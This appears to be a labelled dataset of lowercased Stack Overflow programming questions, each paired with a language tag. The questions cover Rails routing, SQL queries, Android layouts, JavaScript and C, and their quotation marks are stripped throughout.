no route matches  /index . simple issue   new to all coding worlds and new to ror. i have been doing a tutorial and ran into some issues last night. a friend of mine helped with a few of them. i asked a few here. and yet this one baffles me. i cannot find the issue of it.    the page loads  it shows what needs to be shown. but when i press a link on there it results in this:    <pre><code>    routing error  no route matches  /index  </code></pre>   so i did <code>rake routes</code> and i got this   <pre><code>dennis-buizerts-macbook-pro:gpoff dennisbuizert$ rake routes site_index get /site/index(.:format) {:controller=&gt; site   :action=&gt; index } site_about get /site/about(.:format) {:controller=&gt; site   :action=&gt; about }  site_help get /site/help(.:format)  {:controller=&gt; site   :action=&gt; help }       root     /(.:format)           {:controller=&gt; site   :action=&gt; index } </code></pre>   this is in my routes.rb   <pre><code>root :to =&gt;  site#index  get  site/index         get  site/about  get  site/help  </code></pre>   i tried adding <code>map.connects</code> and <code>match</code> but that didn t seem to resolve it.  and my development.log says the follow:   <pre><code>started get  /  for 127.0.0.1 at 2011-08-28 10:05:51 +0200 deprecation warning: disabling sessions for a single controller has been deprecated. sessions are now lazy loaded. so if you don t access them  consider them off. you can still modify the session cookie options with request.session_options. (called from &lt;class:applicationcontroller&gt; at /users/dennisbuizert/sites/gpoff/app/controllers/application_controller.rb:3)   processing by sitecontroller#index as html rendered site/index.html.erb within layouts/application (1.6ms) completed 200 ok in 5ms (views: 4.3ms | activerecord: 0.0ms)   started get  /index  for 127.0.0.1 at 2011-08-28 10:05:52 +0200  actioncontroller::routingerror (no route matches  /index ):   rendered /users/dennisbuizert/.rvm/gems/ruby-1.9.2-p290/gems/actionpack-3.0.10/lib/action_dispatch/middleware/templates/rescues/routing_error.erb within rescues/layout (0.8ms) </code></pre>,ruby-on-rails
remove table rows except the first one <pre><code>public void populate() {          tablerow tr = new tablerow(getactivity());          tr.setid(100 + count);         tr.setlayoutparams(new layoutparams(layoutparams.fill_parent                  layoutparams.wrap_content));          button b_add = new button(getactivity());         b_add.setid(20);         b_add.settext( + );         b_add.settextcolor(color.red);         b_add.setgravity(gravity.center);         b_add.setpadding(2  2  2  2);         b_add.setonclicklistener(add);          tr.addview(b_add);          textview v_no = new edittext(getactivity());         v_no.setid(200 + count);         v_no.sethint( vehicale no );         v_no.settag( adress );         v_no.settag( v_no );         v_no.settextcolor(color.black);         v_no.setgravity(gravity.center);         tr.addview(v_no);          button b_minus = new button(getactivity());         b_minus.setid(20);         b_minus.settext( - );         b_minus.settextcolor(color.red);         b_minus.setgravity(gravity.center);         b_minus.setpadding(2  2  2  2);         b_minus.setonclicklistener(remove);         tr.addview(b_minus);         // finally add this to the table row         tl.addview(tr  new tablelayout.layoutparams(layoutparams.fill_parent                  layoutparams.wrap_content));         count++;     } </code></pre>   i create this code to create a table with  three columns using table layout.it works fine.but i need to remove the table rows except the first row.can u help me to do that,android
count same value on multiple columns  i have hive table like the following and i need to count occurrence of a team   <pre><code>team_name  opponent_team    match_won csk        mm               mm csk        dc               csk mm         csk              csk dc         csk              dc   </code></pre>   now i need data like:   <pre><code>team_name  total_matches    matches_won csk        4                2 mm         2                1 dc         2                1 </code></pre>   can anybody help me with a query,sql
behavior of selecting non-existent columns  given a table with this structure:   <pre><code>create table person (   id int identity primary key    name varchar(256)    birthday datetime ) </code></pre>   for this query:   <pre><code>select id name birthday haircolor from person </code></pre>   what is the rational behind sql throwing an error in this situation  i was considering how flexible it would be if queries would simply return null for non existent columns. what would be concrete reasons for or against such a sql language design,sql
read a file and create an array every time a string appears  i want to read a file which have strings  like headers  and then an array. i wanna generate a python array for each block and save them in a different file  like li 1 below would be an array 4 x 4.   <pre><code>li 1 10. 20. 30. 40. 10. 21. 30. 40. 10. 22. 31. 43. 10. 23. 35. 45.  li 2 11. 20. 40. 50. 11.2 22. 42. 52.  li 3 15. 23. 40. 50. 15. 24. 41. 51. 15.2 25. 42. 52.  li 10 10.3 26. 30. 40. 10.2 27. 30. 40. 10.3 28. 31. 43.  li 3 15. 23. 40. 50. 15. 24. 41. 51. 15.2 25. 42. 52. </code></pre>   i know how to do it typing the string  li 1    li 2 .... but also there is an issue when li (number) repeats  like  li 3  in the example below  because i wanna them to be in different files. for the file below i would like to have 5 different outputs. what should be the correct approach  at the moment i did  for  li 2  for example:   <pre><code>with open(file) as infile:     for line in infile:         if  li 2  in line:             found_type = true             continue         if found_type:             if  li  in line:                  found_type = false #stops when reach the next li             else:                 x.append(line[2:15])                 y.append(line[16:29])                 d1.append(line[31:43])                 d2.append(line[45:57])  xf=filter(none x) yf=filter(none y)            d1f=filter(none d1) d2f=filter(none d2)  out=np.array([xf yf d1f d2f])         out=out.t.astype(np.float)  np.savetxt( li_2.dat  out delimiter=    fmt= %1.8f ) </code></pre>,python
function scope in javascript  i thought one of the point of functions in javascript was to provide scope.  things defined in a function were only available inside the function.   <pre><code>function cat(name) {     talk = function() {         alert(  say meeow!  )     } }   talk() </code></pre>   i would expect the above code to fall over because talk should not be visible.  but it is  why,javascript
quick question about html5 article and figure element  i have a <code>section</code> where there is a image of a site and a paragraph thats referencing to that site. i am wondering what would be the correct way  in your opinion how i should wrap these 2 html objects.    i have originally thought this would just work(ignore <code>.img-wrap</code> and the <code>h2</code>):   <pre><code>&lt;section class= featured &gt;     &lt;h1&gt; featured project &lt;/h1&gt;     &lt;div class= img-wrap &gt;         &lt;img src=   height=   width=   alt= name of site &gt;         &lt;h2&gt; title &lt;/h2&gt;     &lt;/div&gt;&lt;!-- .img-wrap --&gt;     &lt;p&gt;          &lt;a href= # &gt;lorem ipsum&lt;/a&gt; dolor sit amet  consectetur adipisicing         elit  seddo eiusmod tempor incididunt ut labore et dolore magna aliqua.          ut enim ad minim veniam  quis nostrud exercitation ullamco     &lt;/p&gt; &lt;/section&gt;&lt;!-- .featured --&gt; </code></pre>   but what if my client adds multiple paragraphs  it will be styled with a background color and margin so it wouldn t look right.    wouldn t <code>figure</code> and <code>figcaption</code> be appropriate  i can t really tell when i read on it on html5doctor.   <pre><code>&lt;section class= featured &gt;     &lt;h1&gt; featured project &lt;/h1&gt;     &lt;figure&gt;            &lt;div class= img-wrap &gt;             &lt;img src=   height=   width=   alt= name of site &gt;             &lt;h2&gt; title &lt;/h2&gt;         &lt;/div&gt;&lt;!-- .img-wrap --&gt;         &lt;figcaption&gt;             &lt;p&gt;                  &lt;a href= # &gt;lorem ipsum&lt;/a&gt; dolor sit amet  consectetur adipisicing                 elit  seddo eiusmod tempor incididunt ut labore et dolore magna aliqua.                  ut enim ad minim veniam  quis nostrud exercitation ullamco             &lt;/p&gt;         &lt;/figcaption&gt;     &lt;/figure&gt; &lt;/section&gt;&lt;!-- .featured --&gt; </code></pre>   or maybe just wrap the paragraph,html
how do i store an plist on iphone   i want to store some user settings like selected image  etc. how could i do that with an plist,iphone
how to get this config value from app.config   my friend has the following app.config. he wants to get the value of <code>address</code>. how to do it    <pre><code>&lt;configuration&gt;     &lt;system.servicemodel&gt; ...            &lt;client&gt;             &lt;endpoint address= http://ldo:8080/llservice  binding= wshttpbinding                  bindingconfiguration= wshttpbinding_illservice  contract= llservicereference.illservice                  name= wshttpbinding_illservice &gt;                 &lt;identity&gt;                     &lt;userprincipalname value= ggldoe@mail.com  /&gt;                 &lt;/identity&gt;             &lt;/endpoint&gt;         &lt;/client&gt;     &lt;/system.servicemodel&gt; ... &lt;/configuration&gt; </code></pre>,c#
explicitly refer to member variable to remove  local declaration of ... hides instance variable  warning  i have this segment of code:   <pre><code>- (void)settableview:(uitableview *)tableview {     tableview = tableview; } </code></pre>   now  i understand why i m getting the warning. but shouldn t this <em>fix</em> it    <pre><code>- (void)settableview:(uitableview *)tableview {     self-&gt;tableview = tableview; } </code></pre>   i m aware i can change the argument name or the ivar name  but <em>i don t want to</em>. in c++ for example  one can use <code>this-&gt;foo = foo</code>  and java one can use <code>this.foo = foo</code>. python can use <code>self.foo = foo</code>. what s the equivalent in objc  (and no  i don t want to use <code>@property</code> s.),objective-c
how to change the initial view controller of storyboard   i have 2 view controller  and i disabled the initial view controller of first view controller  and enabled the second view controller but when start the project the initial view controller is still the first view controller  what should i do  thanks!,ios
rails model.blank  returns false even though i purged the db  i have a model of journey. to refresh the db  i called the following   <pre><code>rake db:reset db:migrate </code></pre>   which should purge the database of all existing data and restart the database.    i called <code>journey.first</code> in my console  which returns nil as expected.    but why is it that when i called <code>journey.blank </code> it returns <code>false</code>  is the database not empty (or blank) at this point     if not  how can i check to see if my journey model is empty or not,ruby-on-rails
mysql update multitable query  i have this select join statement for 3 tables and i would like to know what should be the update statement.    <pre><code>select candidates.candidatename  candidates.candidatevotes  candidates.party  mainrace.mainracename  race.racename  candidates.win  candidates.nameorder from candidates join race on race.raceid = candidates.raceid join mainrace on mainrace.mainid = candidates.mainid order by mainrace.mainracename  </code></pre>   i have something like this and i am guessing it is a mess :)   <pre><code>$sql =  update candidates set candidates.candidatename= $candidatename  candidates.candidatevotes= $candidatevotes  candidates.party= $party  candidates.win= $win   candidates.nameorder= $nameorder  where candidates.candidateid=$candidateid ;  </code></pre>   i appreciate your time and help.     sincerely,mysql
session_start()  i have a page that is just:   <pre><code>&lt; php session_start();  &gt; </code></pre>   the server response headers are showing:   <pre class= lang-none prettyprint-override ><code>http/1.1 200 ok date: fri  01 jul 2011 03:30:07 gmt server: apache x-powered-by: php/5.2.11 expires: thu  19 nov 1981 08:52:00 gmt cache-control: no-store  no-cache  must-revalidate  post-check=0  pre-check=0 pragma: no-cache set-cookie: phpsessid=zok****************; path=/ content-type: text/html </code></pre>   i was expecting a file in <code>start/run/cookies</code> something like:   <pre><code>user@mysite[1] </code></pre>   but there is none.    why not     <em>my end point is to have the usual logged in / not logged in test for each page including the splash page ...</em>,php
what does the following code do  <pre><code>i = i + j ; j = i - j ; i = i - j ; </code></pre>   what the above code do   can someone write the same operation with other code      thnx.,java
i need to size the imageview inside my table row programatically  i ve tried to set my <code>imageview</code> resized but it did not work either by bitmap or other methods i m going to place my code so if can anyone help me how to size the <code>imageview</code> to fit inside the table row thnx.   <pre><code>public class test extends activity {     private tablelayout table1;     protected void oncreate(bundle savedinstancestate)      {          int[] imagearray={r.raw.hospital_image r.raw.hotel_image};         super.oncreate(savedinstancestate);         setcontentview(r.layout.favorites);         table1 = (tablelayout) findviewbyid(r.id.table);         tablerow.layoutparams tablerowparams = new tablerow.layoutparams(                 tablerow.layoutparams.wrap_content                  tablerow.layoutparams.wrap_content  1.0f);         for(int i=0;i&lt;imagearray.length;i++)         {             tablerow tr = new tablerow(this);             tr.setlayoutparams(tablerowparams);             imageview img=new imageview(this);             //what should i do here to resize it                 drawable d = getresources().getdrawable(imagearray[i]);             img.setimagedrawable(d);               tr.addview(img  new tablerow.layoutparams(                     tablerow.layoutparams.wrap_content                      tablerow.layoutparams.wrap_content  1.0f));              table1.addview(tr);         }     } </code></pre>   my xml only holds these :   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;relativelayout xmlns:android= http://schemas.android.com/apk/res/android      android:layout_width= match_parent      android:layout_height= match_parent  &gt;      &lt;scrollview         android:id= @+id/scrollview1          android:layout_width= wrap_content          android:layout_height= wrap_content          android:layout_alignparentleft= true          android:layout_alignparentright= true          android:layout_alignparenttop= true  &gt;          &lt;tablelayout             android:id= @+id/table1              android:layout_width= wrap_content              android:layout_height= wrap_content  &gt;         &lt;/tablelayout&gt;     &lt;/scrollview&gt;  &lt;/relativelayout&gt; </code></pre>,android
how to update table using trigger  i am new to this and want some help.i have table with name  abc  with following entries   <pre><code>+------+--------+------+ | id   | name   | city | +------+--------+------+ |  101 | john   | abc  | |  102 | miller | cbz  | +------+--------+------+ </code></pre>   and another table  xyz     <pre><code>+------+--------+------+ | id   | name   | city | +------+--------+------+ |  102 | miller | cbz  | +------+--------+------+ </code></pre>   i applied trigger on table  abc  which will update the table  xyz  with recently inserted values and will delete all previous entries... for example  when i fire insert query on  abc  table i get   abc  as follow   <pre><code>  insert into abc values(103  joseph   xyz ); </code></pre>   i get output for table  abc  as    <pre><code> +------+--------+------+  | id   | name   | city |  +------+--------+------+  |  101 | john   | abc  |  |  102 | miller | cbz  |  |  103 | joseph | xyz  |  +------+--------+------+ </code></pre>   and table  xyz  as    <pre><code>  +------+--------+------+   | id   | name   | city |   +------+--------+------+   |  103 | joseph | xyz  |   +------+--------+------+ </code></pre>   now my question is how to acheive this using only one table(i dont want to use two table as this is not my requirement). like following ..   <pre><code>    insert into xyz values(104  ridhit   pqr );    +------+--------+------+   | id   | name   | city |   +------+--------+------+   |  104 | ridhit | pqr  |   +------+--------+------+ </code></pre>   please help.trigger i used is    <pre><code>  delimiter !!   create trigger onlyone before insert on abc   for each row   begin   declare a1 int;       select count(1) into a1 from xyz;    if a1&gt;0 then     delete from xyz limit 1;     insert into xyz(id name city) values (new.id new.name new.city);    else     insert into xyz(id name city) values (new.id new.name new.city);    end if;    end;    !!    delimiter ; </code></pre>,mysql
how to sequence parameters in javascript functions  i was writing a code in javascript.   <pre><code>colormixer = function (redintensity  blueintensity  greenintensity)  {    // mix color }  colormixer(10  8  7) // means red = 10  blue = 8  green = 7  colormixer(10  8) // means red = 10  blue = 8 </code></pre>   question: how to specify <code>red = 10  green = 8</code>  and no value for <code>blue</code> (i dont intend 0 value for blue) i want scene where value for blue is unknown and dont want to provide any value for blue.,javascript
setting an attribute in jquery not working  i have the following function which limits the amount of characters you can enter into a text area.    what s meant to happen is  if the text length is higher than the text limit  set an attribute of <code>disabled= disabled </code> on the submit button  but it isn t getting set  my function code is as follows:   <pre><code>function limitchars(textid  limit  infodiv) {         var text = $( # +textid).val();          var textlength = text.length;         if(textlength &gt; limit) {             $( #  + infodiv).html( you cannot write more then  +limit+  characters! );             $( input#submit ).attr( disabled    disabled );          } else {             $( #  + infodiv).html( you have  + (limit - textlength) +  characters left. );          }     } </code></pre>   it s specifically the <code>$( input#submit ).attr( disabled    disabled );</code> bit that isn t working.    any ideas,jquery
movie player failed to play  i am trying to play video with this guide :<a href= http://www.techotopia.com/index.php/video_playback_from_within_an_ios_7_application  rel= nofollow >http://www.techotopia.com/index.php/video_playback_from_within_an_ios_7_application</a>    so i have :   <pre><code>//movieplayer initialization nsurl *url = [nsurl urlwithstring:               @ http://www.youtube.com/watch v=cs-6gjknao4 ];  self.movieplayer =  [[mpmovieplayercontroller alloc]                  initwithcontenturl:url];  [[nsnotificationcenter defaultcenter] addobserver:self                                          selector:@selector(movieplaybackdidfinish:)                                              name:mpmovieplayerplaybackdidfinishnotification                                            object:self.movieplayer];  self.movieplayer.controlstyle = mpmoviecontrolstyledefault; self.movieplayer.shouldautoplay = yes; [self.movieview addsubview:self.movieplayer.view];  [self.movieplayer setfullscreen:yes animated:yes]; </code></pre>   where the player is loaded to some view . i don t see nothing and i only get this error message :   <pre><code>_itemfailedtoplaytoend: {     kind = 1;     new = 2;     old = 0; } </code></pre>,objective-c
openning all text file & getting a string in python  how can i open all the text file within a folder and get a string   for example this is all the word in a txt file:    <pre><code>helloworld  hi  hellouser.  </code></pre>   i want to get all the word with a <code>hello</code> in the word and store it in an <code>array</code>.    i want to store it in an array not to return if its true or not.,python
super function when modifying a prototype in javascript  is there a function like <code>super</code> when you are modifying a prototype in javascript,javascript
need to override date function in mysql import and retain old dates  i need to import some files from a social website and retain the dates that images and comments were added. problem is  everytime  the date reads the date of the import. the only code i ve found is: row->date = date(  y-m-d h:i:s  ); and the structure for the date column is datetime. only for the old imports  i would like to override the current date function. then going forward i would want the date function for new users.    i ve been at the for 2 days and no luck so far.,mysql
if statement returns false when values are outputting the same  i am trying to compare a row returned by mysql and whats extracted in my code however it keeps returning false when strlen returns the same and they output the exact same.   <pre><code>if(trim($checkcomplete[ workorder ]) == trim($wo)) {     //do nothing } else {     //workorder does not match     echo  workorder does not match!&lt;br&gt; .$wo.  |  . $checkcompleteassoc[ workorder ]. &lt;br&gt; ;     echo strlen($wo). &lt;br&gt; ;     echo strlen($checkcompleteassoc[ workorder ]). &lt;br&gt; ; </code></pre>   output:   <pre><code>workorder does not match! 39809337 | 39809337 8 8 </code></pre>,php
css cross browser centering  i am working on popup box  i have got a page wherein i click on a button it popups a box. ths problem is the popup is not in the center of the screen. i have to make the page cross browser compatible.    here is my code.    css:   <pre><code>.popup{     /* css3 drop shadow */     -webkit-box-shadow: 0px 0px 10px rgba(0  0  0  0.5);        -moz-box-shadow: 0px 0px 10px rgba(0  0  0  0.5);     /* css3 border radius */     -webkit-border-radius: 5px;        -moz-border-radius: 5px;     background:#eee;     /* styling of the dialog box  i have a fixed dimension for this demo */     width:50%;     /* make sure it has the highest z-index */     clear:both;      height:240px;     position:relative;     z-index:5000;     /* hide it by default */     display:none; } </code></pre>,css
send listing user a message undefined local variable or method `user   i m currently trying to develop the following functionality: users can list listings. others can click on these listings  click apply  fill out a form and click on submit. this form should of course be send to the listing user. i am stuck on getting this last part right. i m working with actionmailer and this is what i got:    listing_controller.rb   <pre><code>def send_mail     @user = user.find_by_name(params[:name])     name = params[:name]     email = params[:email]     body = params[:comments]     usermailer.contact_email(name  email  body).deliver     redirect_to contact_path  notice:  message sent  end </code></pre>   apply.html.erb   <pre><code>&lt;div class= top &gt; &lt;div class= container-content &gt;     &lt;div class= container &gt;         &lt;%= form_tag(send_mail_path) do %&gt;             &lt;div class= form-group &gt;                 &lt;%= label_tag  name    name  %&gt;                 &lt;%= text_field_tag  name   nil  class:  form-control   placeholder:  your name  %&gt;             &lt;/div&gt;            &lt;div class= form-group &gt;                &lt;%= label_tag  email    email  %&gt;                &lt;%= email_field_tag  email   nil  class:  form-control   placeholder:  your email address  %&gt;            &lt;/div&gt;            &lt;div class= form-group &gt;                &lt;%= label_tag  comments    comments  %&gt;                &lt;%= text_area_tag  comments   nil  class:  form-control   rows: 4  placeholder:  comments...  %&gt;            &lt;/div&gt;            &lt;%= submit_tag nil  class:  btn btn-default btn-about pull-right  %&gt;        &lt;% end %&gt;   &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; </code></pre>   user_mailer.rb   <pre><code>class usermailer &lt; actionmailer::base   default from:  from@example.com     def welcome_email(user)     @user = user     @url =  http://example.com/login      mail(to: user.email  subject:  welcome to my awesome site )   end    def contact_email(name  email  body)     @user = user     @name = name     @email = email     @body = body     mail(to: user.email  subject:  contact request ) end </code></pre>   end    routes   <pre><code>match  /send_mail   to:  listings#send_mail   via:  post  </code></pre>   i got it to work that when a user signs up he is getting an email. but i cannot seem to get it to work that users can contact the listing user. right now i am getting the following error undefined local variable or method `user  but i am not sure if the setup is completely right.    please let me know if you need more information. thanks,ruby-on-rails
mysql group by timeinterval and day  whats the best way to group data in time intervals per day so the intervals would be something like: <code>0:00 - 7:00 // 7:00 - 19:00 // 19:00 - 0:00</code>    i also want to have the data by day.<br> this is how far i got:    <pre><code>select bj  name  sum(uptime) as uptime  env  starttimeframe  endtimeframe  date(starttimeframe) as s_date  date(endtimeframe) as e_date from `uptime_hourly` group by bj  env  s_date </code></pre>,mysql
keeping an object alive in c#  i have a <code>class x</code> with large size field member <code>y</code> (in terms of memory) that is declared as static member  i noticed that each time i instantiate an object of <code>x</code>  this field get either loaded or reloaded in the memory. the underlying structure of <code>y</code> is a <code>dictionary&lt;string int&gt;</code> which holds around 5000 kvs. is there a way to declare <code>y</code> as a separate explicit dictionary an keep it alive during the application life time      notice that: an object of x can be disposed during runtime  so the more accurate question is : if the dictionary is declared as static member of a class  would the static member remains in memory if the the class s object got garbage collected or explicitly destroyed,c#
conditional statement checking length of string  i m trying to create a conditional statement that returns to me  nothing entered  if the string length is less than 1. however  i m getting an error message in xcode that says: expected identifier. i think my syntax may be wrong but i can t figure it out.    <pre><code>- (ibaction)batman:(id)sender { if ([self.nametextfield.text.length] &lt; 1) {   //returntype method argument     [nsstring stringwithformat:@ nothing entered. ]; } else {     self.secondlabel.text = [nsstring stringwithformat:@ batman %@   self.nametextfield.text ]; } </code></pre>   },objective-c
using android  is there a significant performance hit to store small images as blobs in sqlite   i have about fifty 10kb images that each have a text description and location coordinates.    i have two choices:   <ol> <li>i can store the images as blobs in the sqlite db togather with the texts</li> <li>i can store the images on sdram and store the path to the images in the db</li> </ol>   method (1) seems to be for convenience  but i wonder if there are any negatives to using this approach. for example  would the db respond slower,android
check if a character in a string is a 1 or a 0  i am recieveing a string via a com port that looks like this *000000  or *110101  or anything in between. each character represents the status of a relay on a pcb i have and the first character after the asterisk represents the first relay and so on. i need to check each character seperatly if it is a 1 or a 0 and then set a label to either on or off accordingly.     my code would be something like this:   <pre><code>if(char 1 ==  1 ) {      label4.text =  on ;     } else {     label4.text =  off ; } </code></pre>   and so on down the line for all 6 characters. but i don t know how to seperate each character.    thanks!,c#
distribute amount to different instances of balance column  i have the following customer table with columns id  name and balance.    i have amount to distribute to each of the rows till the amount becomes 0    it s like this   <pre><code>while(amount&gt;0) begin    amount=(amount)-(select the balance of the row)      (select the balance column of the row)=0 end </code></pre>   i do not want to use the loop or cursor either.    i used the <code>case</code> in the update query  but that is not working either.   <pre><code>declare @temp decimal(18 4)=1000  update customer  set @temp=case         when @temp&gt;balance then          @temp-balance         else @temp    end     balance=case         when balance&lt;=@temp  then 0        else balance    end from person  where balance&lt;=@temp      select @temp </code></pre>,sql
inheritance and private members <pre><code>#include&lt;iostream&gt;   using namespace std;    class base {    private:       int b;   public:       base(int bvalue=0) {           b = bvalue;           cout &lt;&lt;  b s ctor  &lt;&lt; endl;       }       ~base() { }   };    class derv : public base {   public:      int d;      derv(int bval  int dval) : base(bval) d(dval) {          cout &lt;&lt;  d s ctor  &lt;&lt; endl;      }      derv(int dval) : d(dval) {          cout &lt;&lt;  d s ctor   &lt;&lt; endl;     }   };    int main(){       derv d1(4 5);       derv d2(100);       return 0;   }   </code></pre>   the above program compiles fine and i see the output as     <pre><code>b s ctor   d s ctor   b s ctor   d s ctor  </code></pre>   since private members of base class are not inherited  what is the memory location the base constructor is creating the private member in       <strong>nb:</strong> this question contains a misconception which is fully addressed in the answers.,c++
little trouble with css  hello i have some issues with my code because animation won t work here s my code:     <pre><code>  background-image:url(industry2.jpg);    -webkit-background-size: cover;   -moz-background-size: cover;   -o-background-size: cover;   background-size: cover;   border:1px solid red;   -webkit-animation: fadein 2s ease-in ;   -moz-animation: fadein 2s ease-in ;   animation: fadein 2s ease-in ;   width:500px;   height:200px;   background-repeat: no-repeat;   background-position: left top;   padding-top:68px;   position:absolute;   top:2700px;   left:1300px;   @keyframes fadein { from { opacity: 0; } to { opacity: 1; } </code></pre>   you see i don t get animation working and i don t know what to do...,css
dynamically changing the value in a column when it equals a certan value  i have a column of values that print out n/a. instead of n/a  i d like to print three dashes. one thing to note is that <strong>some</strong> of the values in the column are not n/a so i need to print those. basically i want to substitute the n/a for  --- . can someone please tell me how i can do this     thanks,mysql
mysql: having rounded sum not equal to integer  i have a query in which i compare a rounded sum to an integer  and i m receiving unexpected results.   <pre><code>select assignments.*   from assignments   inner join time_entries     on time_entries.assignment_id = assignments.id   where assignments.organization_id = 2   and assignments.allocation_mode =  fixed    and (fixed_hours is not null)   having round(sum(time_entries.scheduled_hours)) != round(assignments.fixed_hours); </code></pre>   it returns an assignment with <code>fixed_hours</code> of <code>20</code>. the column is a float.    when i select the sum of the time_entries for that match that record  i get <code>20.000000298023224</code>. when i call <code>round</code> on that  i get <code>20</code>:   <pre><code>select   round(sum(scheduled_hours))   from time_entries   where assignment_id=112869; </code></pre>   and <code>select round(fixed_hours) from assignments where id=112869</code> also gives <code>20</code>.    and of course <code>select round(20.000000298023224) = round(20);</code> returns <code>1</code>.    so what s wrong with my query that that record is being returned,mysql
how is the contents loaded on this wesite(woolworths.com.au)  i know they use xhr to load products  but couldn t figure out how they load the left panel  i.e.   <pre><code>    &lt;div id= left-panel           class= closed u-nooutline           wow-open-close-panel= left           wow-open-close-panel-sr-text= navigation           tabindex= -1           ng-show= isleftpanelvisible() &gt;         &lt;div class= left-panel-content  ui-view= left-panel  oly-angulax-view= navigation-panel &gt;&lt;/div&gt;     &lt;/div&gt; </code></pre>   <a href= https://www.woolworths.com.au/  rel= nofollow >link: https://www.woolworths.com.au/</a>    would appreciate if someone can give some hits.,html
c program to read and store strings  i m writing a piece of code in c that iterates t times and each time takes as input the text of a little song on which it will perform some counting operation (counting the length of each word). for now i m just testing if the input works   and it doesn t.   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;string.h&gt;  #define max_song_size 501  int main(void){     int t;     scanf( %d   &amp;t);     while(t--){         char* song = malloc(max_song_size);         if(song == null){             printf( malloc failed );             return 1;         }         fgets(song  max_song_size  stdin);         printf( foo\n );         free(song);     }     return 0; } </code></pre>   i m using <strong>fgets()</strong> because of the spaces among the words  and dynamic memory allocation because i can t just use one array for all the songs  characters from the previous iteration would remain in the array.     but there s a problem. it skips the <strong>fgets()</strong> in the first iteration  writing only  foo  and without waiting for me to insert a string.    this is an example of how it prints with initial input  3 :<br> 3<br> foo<br> this is a test<br> foo<br> another test<br> foo<br>   <hr>   with substituting <code>printf( foo\n );</code> with <code>printf( &lt;&lt;%s&gt;&gt;\n   song);</code> the output is this:   <pre><code>3&lt;br&gt; &lt;&lt; &lt;br&gt; &gt;&gt; &lt;br&gt; test &lt;br&gt; &lt;&lt;test &lt;br&gt; &gt;&gt; &lt;br&gt; another test &lt;br&gt; &lt;&lt;another test &lt;br&gt; &gt;&gt; &lt;br&gt; </code></pre>   how can i solve this problem  if you have <strong>any</strong> advice you re welcome.,c
sql query using in clause to select both conditions  not either or  i m trying to create a query using an  in  clause where i need everything in the in clause to be true  i.e.  only records from mytable that have both nbrs 10 and 1. currently i m getting records for either 1 or 10. i ve been scouring sql sites and just can t seem to figure this out. the list could be longer which is why i m using an in claus. any ideas    <pre><code>select * from mytable inner join      mytable2 where mytable.id = mytable2.id and mytable2.nbr in ( 10   1 ) </code></pre>,sql
error: msg 207  level 16  state 1  line 4 invalid column name  france   i am getting error . please suggeestt where i am wrong. i am  giving formating   <pre><code>--table alter table [dbo].[store_2](enter code here     [id] [int] null      [name] [varchar](100) null      [email] [varchar](100) null      [sub] [varchar](100) null ) on [primary]  --  alter table [dbo].[store_1](     [id] [int] null      [name] [varchar](100) null      [email] [varchar](100) null ) on [primary]  --proc   alter proc sele_2 ( @da nvarchar(100)  @sr nvarchar(100)  @sub nvarchar(50)  ) as begin  declare @sqlstr nvarchar(max)  creat0e table #compliancetem ( name varchar(100)  email varchar(100) )  set @sqlstr = n insert into #compliancetem (name email) select name email from  +@sr+  union select name email from store_2 s where 1=1 and s.sub=  + cast(@sub as nvarchar(50)) print @sqlstr execute sp_executesql @sqlstr    select *from #compliancetem end   exec sele_2 arvind store_1  france </code></pre>   i am getting error . please help me where i am wrong   <blockquote>    msg 207  level 16  state 1  line 4        invalid column name  france .  </blockquote>,sql
creating a method with parameter that accepts nsstring or int  trying to create a method with only one parameter that may accept nsstring or int.    here s what i did so far:   <pre><code>-(nsstring*)localizenumber:(void*)thenumber{     bool isvarint = false;     nsstring * num =   ;     if(isvarint){         num = [nsstring stringwithformat:@ %i  (int)thenumber];     }else{         num = [nsstring stringwithformat:@ %@  (__bridge nsstring*)thenumber];     }     //rest of code... } </code></pre>   and this is how i call this method:    if passing int:   <pre><code>[self localizenumber:(void*)150]; </code></pre>   if passing nsstring:   <pre><code>[self localizenumber:@ 150 ]; </code></pre>   the problem is that i still don t know how to know if the parameter  thenumber  is nsstring or int.    thank you.,objective-c
how to add an image in mapview balloon   i used this tutorial  <a href= http://crazyandroidian.blogspot.com/2011/10/custom-mapview-popup-in-android.html  rel= nofollow >http://crazyandroidian.blogspot.com/2011/10/custom-mapview-popup-in-android.html</a> please tell me how to add an image in a balloon tab. i want to add a location image in a marker point bubble. this code just shows a text message but no image.   <pre><code>package com.readystatesoftware.mapviewballoons; import mapviewballoons.example.r; import java.lang.reflect.method; import java.util.list; import android.graphics.drawable.drawable; import android.util.log; import android.view.motionevent; import android.view.view; import android.view.view.ontouchlistener; import android.view.viewgroup.layoutparams; import com.google.android.maps.geopoint; import com.google.android.maps.itemizedoverlay; import com.google.android.maps.mapcontroller; import com.google.android.maps.mapview; import com.google.android.maps.overlay; import com.google.android.maps.overlayitem;  public abstract class balloonitemizedoverlay&lt;item&gt; extends itemizedoverlay&lt;overlayitem&gt;  {   private mapview mapview;   private balloonoverlayview balloonview;   private view clickregion;   private int viewoffset;   final mapcontroller mc;    public balloonitemizedoverlay(drawable defaultmarker  mapview mapview) {     super(defaultmarker);     this.mapview = mapview;     viewoffset = 0;     mc = mapview.getcontroller();   }   public void setballoonbottomoffset(int pixels) {     viewoffset = pixels;   }   protected boolean onballoontap(int index) {     return false;   }   @override   protected final boolean ontap(int index) {     boolean isrecycled;     final int thisindex;     geopoint point;     thisindex = index;     point = createitem(index).getpoint();     if (balloonview == null) {       balloonview = new balloonoverlayview(mapview.getcontext()  viewoffset);       clickregion = (view) balloonview.findviewbyid(r.id.balloon_inner_layout);       isrecycled = false;     } else {       isrecycled = true;     }     balloonview.setvisibility(view.gone);     list&lt;overlay&gt; mapoverlays = mapview.getoverlays();     if (mapoverlays.size() &gt; 1) {       hideotherballoons(mapoverlays);     }     balloonview.setdata(createitem(index));     mapview.layoutparams params = new mapview.layoutparams(       layoutparams.wrap_content  layoutparams.wrap_content  point        mapview.layoutparams.bottom_center     );     params.mode = mapview.layoutparams.mode_map;     setballoontouchlistener(thisindex);     balloonview.setvisibility(view.visible);     if (isrecycled) {       balloonview.setlayoutparams(params);     } else {       mapview.addview(balloonview  params);     }     mc.animateto(point);     return true;   }   /**     * sets the visibility of this overlay s balloon view to gone.   */   private void hideballoon() {     if (balloonview != null) {       balloonview.setvisibility(view.gone);     }   }   private void hideotherballoons(list&lt;overlay&gt; overlays) {     for (overlay overlay : overlays) {       if (overlay instanceof balloonitemizedoverlay&lt; &gt; 